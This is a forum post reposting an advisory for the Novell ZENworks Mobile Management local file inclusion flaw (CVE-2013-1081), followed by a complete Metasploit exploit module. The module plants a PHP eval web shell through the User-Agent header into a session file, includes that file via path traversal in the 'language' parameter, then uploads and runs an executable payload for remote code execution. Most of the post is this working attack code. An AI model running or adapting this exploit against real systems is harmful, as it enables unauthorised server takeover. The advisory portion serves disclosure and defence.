Jump to content
thehat

Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability

Recommended Posts

Novell ZENworks Mobile Management CVE-2013-1081 Local File Include Vulnerability

Novell ZENworks Mobile Management is prone to a local file include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

Novell ZENworks Mobile Management 2.6.0, 2.6.1 and 2.7.0 are vulnerable.

NOTE: The CVE-2013-1082 issue has been moved to BID 60179 (Novell ZENworks Mobile Management CVE-2013-1082 Local File Include Vulnerability) to better document it.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize
super(
'Name' => 'Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability',
'Description' => %q{
This module attempts to gain remote code execution on a server running
Novell Zenworks Mobile Device Management.
},
'Author' =>
[
'steponequit',
'Andrea Micalizzi (aka rgod)' #zdi report
],
'Platform' => 'win',
'Targets' =>
[
[ 'Novell Zenworks Mobile Device Management on Windows', {} ],
],
'DefaultTarget' => 0,
'References' =>
[
['CVE', '2013-1081'],
['OSVDB', '91119'],
['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
],
'DisclosureDate' => "Mar 13 2013",
'License' => MSF_LICENSE
)

register_options([
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
OptInt.new('RPORT', [true, "Default remote port", 80])
], self.class)

register_advanced_options([
OptBool.new('SSL', [true, "Negotiate SSL connection", false])
], self.class)
end

def peer
"#{rhost}:#{rport}"
end

def get_version
version = nil

res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})

if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
end

return version
end

def check
v = get_version
print_status("#{peer} - Detected version: #{v || 'Unknown'}")

if v.nil?
return Exploit::CheckCode::Unknown
elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
# Conditions based on OSVDB info
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def setup_session()
sess = Rex::Text.rand_text_alpha(8)
cmd = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
'method' => "HEAD",
'uri' => normalize_uri("#{target_uri.path}/download.php"),
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
})
return sess,cmd
end

def upload_shell(session_id,cmd_var)
fname = Rex::Text.rand_text_alpha(8)
payload = generate_payload_exe
cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
cmd << "file_put_contents($wdir.'#{fname}.exe',"
cmd << "base64_decode(file_get_contents('php://input')));"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
'data' => Rex::Text.encode_base64(payload),
'vars_get' => {
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
cmd_var => cmd
}
})
return fname
end

def exec_shell(session_id,cmd_var,fname)
cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
cmd << "$cmd=$wdir.'#{fname}';"
cmd << "$output=array();"
cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
cmd << "$pipes,null,null,array('bypass_shell'=>true));"
cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
'data' => Rex::Text.encode_base64(payload),
'vars_get' => {
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
cmd_var => cmd
}
})
end


def exploit()
begin
print_status("#{peer} - Checking application version...")
v = get_version
if v.nil?
print_error("#{peer} - Unable to detect version, abort!")
return
end

print_good("#{peer} - Found Version #{v}")
print_status("#{peer} - Setting up poisoned session")
session_id,cmd = setup_session()
print_status("#{peer} - Uploading payload")
fname = upload_shell(session_id,cmd)
print_status("#{peer} - Executing payload")
exec_shell(session_id,cmd,fname)

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
rescue ::OpenSSL::SSL::SSLError => e
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
end
end

end

Sursa: Novell ZENworks Mobile Management CVE-2013-1081 Local File Include Vulnerability

Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...